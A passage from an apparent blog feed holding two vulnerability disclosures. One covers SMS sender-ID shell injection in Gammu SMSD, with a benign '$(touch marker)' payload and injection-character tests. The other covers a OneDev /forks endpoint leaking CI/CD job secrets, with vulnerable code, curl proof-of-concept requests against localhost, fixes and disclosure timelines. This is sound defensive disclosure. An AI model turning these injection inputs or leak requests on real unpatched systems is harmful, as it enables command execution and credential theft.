

&lt;p&gt;The marker is &lt;code&gt;touch&lt;/code&gt;, not anything harmful — the point is only that a substring of an incoming text message reached &lt;code&gt;/bin/sh&lt;/code&gt; and executed. Swap &lt;code&gt;touch&lt;/code&gt; for anything and it runs with the daemon's privileges.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Preconditions, stated honestly.&lt;/strong&gt; This is why the advisory is High rather than Critical, and why the CVSS carries &lt;code&gt;AC:H&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The daemon must use the &lt;strong&gt;Files backend&lt;/strong&gt; &lt;em&gt;and&lt;/em&gt; have &lt;strong&gt;RunOnReceive&lt;/strong&gt; configured. Database backends use numeric row IDs, which have no shell metacharacters, so they are not affected.&lt;/li&gt;
&lt;li&gt;The attacker must be able to deliver an SMS whose &lt;strong&gt;sender ID carries the metacharacters&lt;/strong&gt;. Alphanumeric sender IDs make this feasible; a deployment that restricts accepted senders (&lt;code&gt;IncludeNumbers&lt;/code&gt;) shrinks the surface, though sender IDs can be spoofed.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Neither precondition is exotic — Files + RunOnReceive is a documented, common setup — but they are real, and they belong in the writeup.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;

&lt;p&gt;Fixed in &lt;strong&gt;1.43.3&lt;/strong&gt; via &lt;a href="https://github.com/gammu/gammu/pull/1129" rel="noopener noreferrer"&gt;PR #1129&lt;/a&gt;. The maintainer (Michal Čihař) did not add more escaping. He removed the shell's ability to see the value at all.&lt;/p&gt;

&lt;p&gt;Before, the message identifiers were concatenated into the command string. After, the command runs with the identifiers passed as &lt;strong&gt;separate literal arguments&lt;/strong&gt;, and the string the shell parses no longer contains them:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt;&lt;span class="gd"&gt;-   snprintf(result, len, "%s %s", command, locations);
&lt;/span&gt;&lt;span class="gi"&gt;+   snprintf(result, len, "%s \"$@\"", command);
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt;&lt;span class="gd"&gt;-   execl("/bin/sh", "sh", "-c", cmdline, NULL);
&lt;/span&gt;&lt;span class="gi"&gt;+   /* argv = { "sh", "-c", command, "sh", location1, location2, ... } */
+   execv("/bin/sh", argv);
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The command line the shell evaluates is now the fixed text &lt;code&gt;your_command "$@"&lt;/code&gt;. The received-message identifiers are handed to &lt;code&gt;sh&lt;/code&gt; as positional parameters (&lt;code&gt;$@&lt;/code&gt;) — data the shell &lt;em&gt;expands into the argv of your hook&lt;/em&gt;, never text it &lt;em&gt;parses as syntax&lt;/em&gt;. &lt;code&gt;$(...)&lt;/code&gt; in a sender ID is now just characters in &lt;code&gt;$1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;locations&lt;/code&gt; string was also restructured from a hand-built space-joined buffer into a &lt;code&gt;GSM_StringArray&lt;/code&gt;, so each identifier stays a distinct element instead of being flattened into one string that has to be re-split. Same idea, one layer down: keep the values as a list, never as a line to be re-parsed.&lt;/p&gt;

&lt;p&gt;Windows gets a parallel fix — &lt;code&gt;CreateProcess&lt;/code&gt; has no separate argv, so the patch &lt;strong&gt;rejects&lt;/strong&gt; hook arguments containing &lt;code&gt;cmd.exe&lt;/code&gt; metacharacters (&lt;code&gt;" % ! ^ &amp;amp; | &amp;lt; &amp;gt; ( )&lt;/code&gt; and control chars) rather than trying to quote them.&lt;/p&gt;

&lt;p&gt;And the part I liked best: the PR ships a &lt;strong&gt;test that injects &lt;code&gt;$(touch marker)&lt;/code&gt;, backticks, &lt;code&gt;;&lt;/code&gt;, &lt;code&gt;&amp;amp;&lt;/code&gt; and newlines through the real &lt;code&gt;SMSD_RunOn&lt;/code&gt; path and asserts the marker file is never created.&lt;/strong&gt; The fix comes with a regression test that fails on the original bug.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhkyec2lzx0xubptej2qu.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhkyec2lzx0xubptej2qu.gif" alt=" " width="800" height="420"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A sanitizer is only valid for the sink it was written for.&lt;/strong&gt; Escaping-for-a-filename and escaping-for-a-shell are different problems with different character sets. The moment a value crosses from one context to another, the old guarantee is void — re-establish it at the new boundary or don't cross.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Don't hand untrusted data to &lt;code&gt;sh -c&lt;/code&gt; as part of the command string.&lt;/strong&gt; Pass it as arguments (&lt;code&gt;execv&lt;/code&gt; with a real argv, or &lt;code&gt;"$@"&lt;/code&gt;) so the shell treats it as data, not syntax. This removes the entire bug class instead of playing character-blacklist whack-a-mole.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Remember the non-HTTP input paths.&lt;/strong&gt; SMS, email headers, filenames, DNS, QR codes — anything that becomes a string in your process is input. This value arrived over the cellular network from an unauthenticated sender, and it still reached a shell.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The best fix narrows what the dangerous component can see.&lt;/strong&gt; The maintainer didn't escape harder; he made sure the shell never received the value as code. Reducing what a sink is even capable of interpreting beats trying to enumerate everything bad.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Disclosure timeline
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;2026-07&lt;/strong&gt; — Reported to the Gammu maintainer via GitHub private vulnerability reporting, with the Files + RunOnReceive precondition and a benign marker PoC. Noted the escaping was correct for filenames and incomplete for the shell.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2026-07-25&lt;/strong&gt; — Advisory GHSA-9vjj-v46c-c5qf published, rated High 8.1, fix shipped in &lt;strong&gt;1.43.3&lt;/strong&gt; (PR #1129), credited to me as reporter.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVE&lt;/strong&gt; — requested; GitHub assignment pending (typically a few weeks).&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Credit / CTA
&lt;/h2&gt;

&lt;p&gt;If you run Gammu SMSD, upgrade to &lt;strong&gt;1.43.3+&lt;/strong&gt;. If you can't yet and you use the Files backend, &lt;strong&gt;disable RunOnReceive&lt;/strong&gt; or switch to a database backend as an interim measure — both are in the advisory's workarounds.&lt;/p&gt;

&lt;p&gt;If you write anything that shells out: grep your codebase for &lt;code&gt;system(&lt;/code&gt;, &lt;code&gt;popen(&lt;/code&gt;, and &lt;code&gt;sh -c&lt;/code&gt;, and for every hit ask where the arguments came from and what escaped them &lt;em&gt;for what&lt;/em&gt;. That mismatch is where these live.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq &amp;amp; Veridor). GitHub: &lt;a href="https://github.com/Santoshkumarpuppala" rel="noopener noreferrer"&gt;@Santoshkumarpuppala&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>cve</category>
      <category>linux</category>
      <category>appsec</category>
    </item>
    <item>
      <title>The parent check passed, so the forks' secrets shipped anyway — cleartext CI/CD secrets in OneDev (GHSA-p3rv-f672-8x57)</title>
      <dc:creator>Santosh Kumar Puppala</dc:creator>
      <pubDate>Fri, 07 Aug 2026 11:10:07 +0000</pubDate>
      <link>https://dev.to/santosh_kumarpuppala_96e/the-parent-check-passed-so-the-forks-secrets-shipped-anyway-cleartext-cicd-secrets-in-onedev-1o95</link>
      <guid>https://dev.to/santosh_kumarpuppala_96e/the-parent-check-passed-so-the-forks-secrets-shipped-anyway-cleartext-cicd-secrets-in-onedev-1o95</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What:&lt;/strong&gt; &lt;code&gt;GET /~api/projects/{id}/forks&lt;/code&gt; in &lt;a href="https://github.com/theonedev/onedev" rel="noopener noreferrer"&gt;OneDev&lt;/a&gt; (self-hosted Git + CI/CD + issue tracker) authorized the &lt;strong&gt;parent&lt;/strong&gt; project, then returned the raw &lt;code&gt;Collection&amp;lt;Project&amp;gt;&lt;/code&gt; entity of its forks — and Jackson serialized every field, including each fork's &lt;strong&gt;cleartext CI/CD job secrets&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Impact:&lt;/strong&gt; Anyone who can read the parent harvests the live deploy tokens / registry / cloud credentials of every fork — including private forks they have no access to. If the parent is a public project with anonymous access, it's &lt;strong&gt;unauthenticated&lt;/strong&gt;. Missing authorization leading to information exposure (CWE-862 → CWE-200).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fixed in:&lt;/strong&gt; OneDev &lt;strong&gt;16.0.0&lt;/strong&gt; (commit &lt;code&gt;1e902fdd&lt;/code&gt;). Advisory &lt;a href="https://github.com/theonedev/onedev/security/advisories/GHSA-p3rv-f672-8x57" rel="noopener noreferrer"&gt;GHSA-p3rv-f672-8x57&lt;/a&gt;, published 7 August 2026, rated &lt;strong&gt;Moderate&lt;/strong&gt;, credited to me as reporter. CVE requested and pending.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why you should care
&lt;/h2&gt;

&lt;p&gt;CI/CD job secrets are the crown jewels of a build system. They're not passwords a human types — they're the deploy tokens, container-registry logins, and cloud credentials your pipeline uses to push to production. A read-only information leak sounds unexciting until you notice &lt;em&gt;what&lt;/em&gt; is being read: live credentials that grant write access somewhere else. That's how "just an info disclosure" turns into a foothold for real downstream compromise.&lt;/p&gt;

&lt;p&gt;This one is also a good teaching case because nothing in the code looks wrong at a glance. There &lt;em&gt;is&lt;/em&gt; an authorization check. It's just checking the wrong object. And the leak rides in on a serialization default that the endpoint author never thought about.&lt;/p&gt;

&lt;h3&gt;
  
  
  A note on severity
&lt;/h3&gt;

&lt;p&gt;The published advisory rates this &lt;strong&gt;Moderate&lt;/strong&gt;, and that is the number to quote. My own scoring was higher — 8.6, using &lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N&lt;/code&gt; — and the whole difference sits in one metric: &lt;strong&gt;scope&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;I set &lt;code&gt;S:C&lt;/code&gt; because the data disclosed is credentials &lt;em&gt;for other systems&lt;/em&gt;. The confidentiality loss doesn't stop at OneDev; a leaked deploy token spends just as well against your registry or your cloud account. Scored strictly against the vulnerable component alone, &lt;code&gt;S:U&lt;/code&gt; and a Moderate rating are perfectly defensible.&lt;/p&gt;

&lt;p&gt;I'm flagging the disagreement rather than quietly picking whichever number flatters the writeup. Reasonable people score credential disclosure differently, and the maintainer's rating is the one on the public record.&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;p&gt;OneDev is a Java application (Apache Shiro for auth, JAX-RS for the REST layer, Jackson for JSON). Projects can be &lt;strong&gt;forked&lt;/strong&gt;, and each project — parent or fork — carries its own &lt;code&gt;buildSetting&lt;/code&gt;, which holds a list of &lt;code&gt;jobSecrets&lt;/code&gt;. A &lt;code&gt;JobSecret&lt;/code&gt; has a &lt;code&gt;name&lt;/code&gt; and a &lt;code&gt;value&lt;/code&gt;, and that &lt;code&gt;value&lt;/code&gt; is the actual credential the CI job uses at runtime.&lt;/p&gt;

&lt;p&gt;Forks are their own projects with their own permissions. I can be allowed to read a parent project while having zero access to a private fork of it. The REST API reflects that: &lt;code&gt;GET /~api/projects/{forkId}&lt;/code&gt; on a fork I can't see returns 401/403. So far, correct.&lt;/p&gt;

&lt;p&gt;The interesting endpoint is the one that lists a project's forks.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bug
&lt;/h2&gt;

&lt;p&gt;Here's the handler, verified at the shipped tag &lt;code&gt;v15.1.6&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ProjectResource.java:153-161&lt;/span&gt;
&lt;span class="nd"&gt;@GET&lt;/span&gt;
&lt;span class="nd"&gt;@Path&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/{projectId}/forks"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;Collection&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Project&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;getForks&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nd"&gt;@PathParam&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"projectId"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nc"&gt;Long&lt;/span&gt; &lt;span class="n"&gt;projectId&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;Project&lt;/span&gt; &lt;span class="n"&gt;project&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;projectService&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;load&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;projectId&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="nc"&gt;SecurityUtils&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;canAccessProject&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;project&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt;     &lt;span class="c1"&gt;// &amp;lt;-- checks the PARENT&lt;/span&gt;
        &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;UnauthorizedException&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;project&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getForks&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;                        &lt;span class="c1"&gt;// &amp;lt;-- raw Collection&amp;lt;Project&amp;gt; entity&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two decisions combine badly:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The authorization check is on &lt;code&gt;project&lt;/code&gt; — the &lt;strong&gt;parent&lt;/strong&gt; you named in the URL. There is &lt;strong&gt;no per-fork check&lt;/strong&gt;. Once you can read the parent, the method trusts you with whatever it returns.&lt;/li&gt;
&lt;li&gt;It returns the raw &lt;code&gt;Collection&amp;lt;Project&amp;gt;&lt;/code&gt; &lt;strong&gt;entity&lt;/strong&gt; — not a DTO. Every other project endpoint returns a &lt;code&gt;ProjectData&lt;/code&gt; DTO with ~13 hand-picked fields and &lt;strong&gt;no &lt;code&gt;buildSetting&lt;/code&gt;&lt;/strong&gt;. This one hands back the persistence objects directly.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Now bring in Jackson's global configuration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ObjectMapperProvider.java:128-129&lt;/span&gt;
&lt;span class="n"&gt;mapper&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setVisibility&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;PropertyAccessor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FIELD&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;JsonAutoDetect&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Visibility&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ANY&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;FIELD visibility set to &lt;code&gt;ANY&lt;/code&gt; means every private field serializes unless it's explicitly ignored. So look at what's on &lt;code&gt;Project&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Project.java:423-425&lt;/span&gt;
&lt;span class="nd"&gt;@Lob&lt;/span&gt;
&lt;span class="nd"&gt;@Column&lt;/span&gt;
&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="nc"&gt;ProjectBuildSetting&lt;/span&gt; &lt;span class="n"&gt;buildSetting&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;   &lt;span class="c1"&gt;// no @JsonIgnore, not transient&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;buildSetting&lt;/code&gt; has no &lt;code&gt;@JsonIgnore&lt;/code&gt; and isn't &lt;code&gt;transient&lt;/code&gt;, so it serializes. It contains &lt;code&gt;jobSecrets&lt;/code&gt;, and:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="c1"&gt;// JobSecret.java&lt;/span&gt;
&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;   &lt;span class="c1"&gt;// plain String — NOT encrypted at rest&lt;/span&gt;

&lt;span class="nd"&gt;@Secret&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;getValue&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;   &lt;span class="c1"&gt;// @Secret is a UI display hint on the getter&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;@Secret&lt;/code&gt; annotation is a UI convenience — it tells the web frontend to render a masked field. It lives on the &lt;strong&gt;getter&lt;/strong&gt;, and under FIELD visibility Jackson reads the private &lt;code&gt;value&lt;/code&gt; field directly and ignores the getter entirely. So the annotation that looks like it protects the secret does nothing here. The value is stored in cleartext and serialized in cleartext.&lt;/p&gt;

&lt;p&gt;Five steps, start to finish:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4il8f22ye3hlcudojaup.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4il8f22ye3hlcudojaup.gif" alt=" " width="800" height="900"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The "aha"
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The endpoint authorized the object you asked for, but leaked the objects it returned — and the one field everyone assumed was protected was only cosmetically masked.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Proof of concept (benign)
&lt;/h2&gt;

&lt;p&gt;Confirmed live on &lt;code&gt;1dev/server:15.1.6&lt;/code&gt;. The whole thing is a marker, not a weapon — the "secret" is a string I set to &lt;code&gt;supersecret123&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Setup: a &lt;strong&gt;parent&lt;/strong&gt; project &lt;code&gt;parent-proj&lt;/code&gt; (id 1) and a &lt;strong&gt;private fork&lt;/strong&gt; &lt;code&gt;fork-a&lt;/code&gt; (id 2, &lt;code&gt;forkedFromId=1&lt;/code&gt;) that has one job secret, &lt;code&gt;DEPLOY_TOKEN = supersecret123&lt;/code&gt;, set through the admin-only settings endpoint.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Low-privilege case&lt;/strong&gt; — attacker granted &lt;em&gt;Code Reader on the parent only&lt;/em&gt;, no access to the fork:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Control: direct access to the fork is correctly denied
&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;curl &lt;span class="nt"&gt;-su&lt;/span&gt; attacker:pw http://localhost:6610/~api/projects/2
&lt;span class="go"&gt;HTTP/1.1 403 Forbidden

&lt;/span&gt;&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;The leak: list the parent&lt;span class="s1"&gt;'s forks
&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;curl -su attacker:pw http://localhost:6610/~api/projects/1/forks
&lt;/span&gt;&lt;span class="go"&gt;HTTP/1.1 200 OK
[ { "id": 2, "name": "fork-a",
    "buildSetting": { "jobSecrets": [
      { "name": "DEPLOY_TOKEN", "value": "supersecret123" } ] } } ]
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Unauthenticated case&lt;/strong&gt; — parent is public with anonymous access enabled:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Control: the fork itself, no auth
&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://localhost:6610/~api/projects/2
&lt;span class="go"&gt;HTTP/1.1 401 Unauthorized

&lt;/span&gt;&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;The leak, no credentials at all
&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://localhost:6610/~api/projects/1/forks
&lt;span class="go"&gt;HTTP/1.1 200 OK
[ ... "value": "supersecret123" ... ]
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The asymmetry &lt;em&gt;is&lt;/em&gt; the proof: the fork is denied directly (401/403), yet the same caller pulls the fork's live secret out through the parent's &lt;code&gt;/forks&lt;/code&gt;. That value never appears in any DTO-based endpoint — it only escapes here.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;

&lt;p&gt;The patch is commit &lt;a href="https://github.com/theonedev/onedev/commit/1e902fddeb1149ddba5c8b1470a464a14b9fa8c1" rel="noopener noreferrer"&gt;&lt;code&gt;1e902fdd&lt;/code&gt;&lt;/a&gt; — "fix: Job secrets defined in forked projects may leak (OD-2822)" — shipped in OneDev &lt;strong&gt;16.0.0&lt;/strong&gt;. One file, three lines:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt;&lt;span class="gd"&gt;-    public Collection&amp;lt;Project&amp;gt; getForks(@PathParam("projectId") Long projectId) {
&lt;/span&gt;&lt;span class="gi"&gt;+    public Collection&amp;lt;ProjectData&amp;gt; getForks(@PathParam("projectId") Long projectId) {
&lt;/span&gt;         Project project = projectService.load(projectId);
         if (!SecurityUtils.canAccessProject(project))
             throw new UnauthorizedException();
&lt;span class="gd"&gt;-        return project.getForks();
&lt;/span&gt;&lt;span class="gi"&gt;+        return project.getForks().stream().map(ProjectData::from).collect(Collectors.toList());
&lt;/span&gt;     }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note what did &lt;em&gt;not&lt;/em&gt; change: the authorization check is still on the parent, and there is still no per-fork check. The fix is entirely on the serialization side — the return type goes from &lt;code&gt;Collection&amp;lt;Project&amp;gt;&lt;/code&gt; to &lt;code&gt;Collection&amp;lt;ProjectData&amp;gt;&lt;/code&gt;, so the endpoint hands back the same DTO its sibling endpoints already used. &lt;code&gt;ProjectData&lt;/code&gt; has no &lt;code&gt;buildSetting&lt;/code&gt; field, so there is nothing for Jackson to reach into regardless of who is asking.&lt;/p&gt;

&lt;p&gt;That is a legitimate fix and arguably the better one. The parent check was never the problem; the problem was that a method with a correct-looking guard returned objects the guard had never evaluated. Narrowing the projection removes the leak at its source rather than adding a second check that a future refactor could drift away from.&lt;/p&gt;

&lt;p&gt;Belt-and-suspenders hardening worth doing in any similar codebase: add &lt;code&gt;@JsonIgnore&lt;/code&gt; to &lt;code&gt;Project.buildSetting&lt;/code&gt;, and encrypt &lt;code&gt;JobSecret.value&lt;/code&gt; at rest so a stray serialization is inert rather than catastrophic.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Authorize the data you return, not just the object you were handed.&lt;/strong&gt; A check on the URL's target says nothing about the child records that ride along in the response. Every returned collection needs its own scoping.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Never serialize persistence entities from an API.&lt;/strong&gt; DTOs aren't ceremony — they're an allowlist. The moment one endpoint returns a raw entity while its siblings return DTOs, that endpoint is leaking whatever fields got added to the entity since. Field-level Jackson visibility (&lt;code&gt;Visibility.ANY&lt;/code&gt;) makes "add a field to the model" silently mean "expose a field in the API."&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Getter-level annotations don't protect field-level serialization.&lt;/strong&gt; &lt;code&gt;@Secret&lt;/code&gt; on a getter looks like protection and isn't, once the serializer is configured to read fields. If a value must never leave the process in cleartext, encrypt it at rest — don't rely on a display hint.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Disclosure timeline
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;2026-06-13&lt;/strong&gt; — Found and confirmed with a live Docker PoC on &lt;code&gt;1dev/server:15.1.6&lt;/code&gt; (both the unauthenticated and low-privilege cases).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2026-06-25&lt;/strong&gt; — Reported to the maintainer via coordinated disclosure, distinguishing it from the recent fork/project authorization CVEs (CVE-2026-11438/39/40/41), which are &lt;em&gt;write&lt;/em&gt;-side authz fixed in 15.0.6 and did &lt;strong&gt;not&lt;/strong&gt; cover this &lt;code&gt;/forks&lt;/code&gt; read.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2026-06-26&lt;/strong&gt; — Maintainer confirmed, asked for a 30-day window, and committed to publishing an advisory.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;16.0.0&lt;/strong&gt; — Fixed (commit &lt;code&gt;1e902fdd&lt;/code&gt;): &lt;code&gt;getForks&lt;/code&gt; returns a DTO. The 15.x line remains affected.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2026-08-07&lt;/strong&gt; — Advisory &lt;a href="https://github.com/theonedev/onedev/security/advisories/GHSA-p3rv-f672-8x57" rel="noopener noreferrer"&gt;GHSA-p3rv-f672-8x57&lt;/a&gt; published, credited to me as reporter. CVE requested and pending.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Credit / CTA
&lt;/h2&gt;

&lt;p&gt;If you run OneDev, upgrade to &lt;strong&gt;16.0.0+&lt;/strong&gt; and rotate any job secrets on projects that had public or widely-readable parents. If you write APIs, grep your codebase for handlers that return entities instead of DTOs — that's where the next one of these lives.&lt;/p&gt;

